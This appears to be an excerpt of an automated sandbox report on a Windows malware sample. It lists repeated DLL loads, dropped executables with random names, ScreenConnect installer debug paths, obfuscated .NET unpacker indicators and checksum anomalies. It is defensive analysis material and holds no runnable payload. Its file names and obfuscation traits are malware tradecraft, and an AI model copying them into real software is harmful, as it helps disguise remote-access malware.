Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Section loaded: atiadlxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RPHbzz3JqY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: RPHbzz3JqY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbQ source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdb\888 source: gtxkvh.exe, 0000001A.00000000.2318421372.0000000000F16000.00000002.00000001.01000000.0000001A.sdmp, sys_updater.exe.26.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb/[ source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdba444 source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2181196365.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1A4E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000001333000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdb source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2181196365.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, gtxkvh.exe, 0000001A.00000000.2318421372.0000000000F16000.00000002.00000001.01000000.0000001A.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1A4E000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe.26.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765388951.0000000000F2D000.00000002.00000001.01000000.00000008.sdmp, ix4A2DreBBsQwY6YHkidcDjo.exe, 00000012.00000000.1903447365.0000000000FCD000.00000002.00000001.01000000.00000012.sdmp, YAPNXRPmcarcR4ZDgC81Tbdk.exe, 00000013.00000000.1966000603.000000000024D000.00000002.00000001.01000000.00000013.sdmp, SmLAztxc1o8yfogkJXrRjbDt.exe, 00000014.00000000.2028047270.00000000002ED000.00000002.00000001.01000000.00000014.sdmp, 3HvoFOAmEaJswFCHOzyfyz5b.exe, 00000015.00000000.2102895090.0000000000EBD000.00000002.00000001.01000000.00000015.sdmp, 6KZmcK8r6beUzmRf6Ci6nx8d.exe, 00000016.00000000.2167482839.000000000091D000.00000002.00000001.01000000.00000016.sdmp, yDd3OJXsNQptgFrYILoygXLs.exe, 00000017.00000000.2231749071.0000000000EFD000.00000002.00000001.01000000.00000017.sdmp, xpTljBOh8s4KWiGtXsL1c00g.exe, 00000019.00000000.2295830605.00000000008DD000.00000002.00000001.01000000.00000019.sdmp, oZolmRBaYFkuutSgcOrBLSAQ.exe, 0000001E.00000000.2373071915.000000000067D000.00000002.00000001.01000000.0000001B.sdmp, V6uPDVniSnRMWuLn5U9T3TGJ.exe, 00000020.00000000.2460409209.000000000018D000.00000002.00000001.01000000.0000001C.sdmp, 2TUSzbAUfKRfcjcMzfoV1qdi.exe, 00000023.00000000.2556332589.000000000009D000.00000002.00000001.01000000.0000001D.sdmp, ixjnzi95HfqR77bieLYCT4aJ.exe, 00000024.00000000.2651179810.000000000002D000.00000002.00000001.01000000.0000001E.sdmp, 6pkNzPZrIkyPzGNsokLQ8aZR.exe, 00000025.00000000.2754908254.0000000000E7D000.00000002.00000001.01000000.0000001F.sdmp, hQdOgl4rhYQYx3G5aYY61LEd.exe, 00000026.00000000.2881740586.000000000063D000.00000002.00000001.01000000.00000020.sdmp, oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: HM3SOlbpH71yEXUIEAOeIiGX.exe.4.dr, -Module-.cs	.Net Code: _202D_202C_202E_206E_202B_206C_206E_206C_200D_202A_200B_206D_202E_202E_206D_202C_206C_202D_202C_202A_202E_206A_206E_202E_202B_202D_202D_200B_206E_202D_206F_202E_202A_206B_202C_200C_206C_202B_200B_206B_202E System.Reflection.Assembly.Load(byte[])
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.146ecf4.5.raw.unpack, Program.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])

Source: oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: 2TUSzbAUfKRfcjcMzfoV1qdi.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: hQdOgl4rhYQYx3G5aYY61LEd.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: 6pkNzPZrIkyPzGNsokLQ8aZR.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: b1s7nlT2NqFJ3sl3xbYiMCIq.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: yDd3OJXsNQptgFrYILoygXLs.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: RPHbzz3JqY.exe	Static PE information: real checksum: 0x0 should be: 0x5978a
Source: explert.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x5978a
Source: SmLAztxc1o8yfogkJXrRjbDt.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: xpTljBOh8s4KWiGtXsL1c00g.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: ix4A2DreBBsQwY6YHkidcDjo.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: IIZS2TRqf69aZbLAX3cf3edn.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x12e0ec
Source: YAPNXRPmcarcR4ZDgC81Tbdk.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: 3HvoFOAmEaJswFCHOzyfyz5b.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: V6uPDVniSnRMWuLn5U9T3TGJ.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: yt3cew8k69RKLpgTFur2iz2M.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: 6KZmcK8r6beUzmRf6Ci6nx8d.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: ixjnzi95HfqR77bieLYCT4aJ.exe.4.dr	Static PE information: real checksum: 0x55a3be should be: 0x56d57b
Source: HM3SOlbpH71yEXUIEAOeIiGX.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xb070f

Source: IIZS2TRqf69aZbLAX3cf3edn.exe.4.dr

Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F1154 push ecx; ret	0_2_005F1167
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00551154 push ecx; ret	3_2_00551167
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C793804 push ecx; ret	10_2_6C793817
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B2155 pushfd ; retf	10_2_017B215B
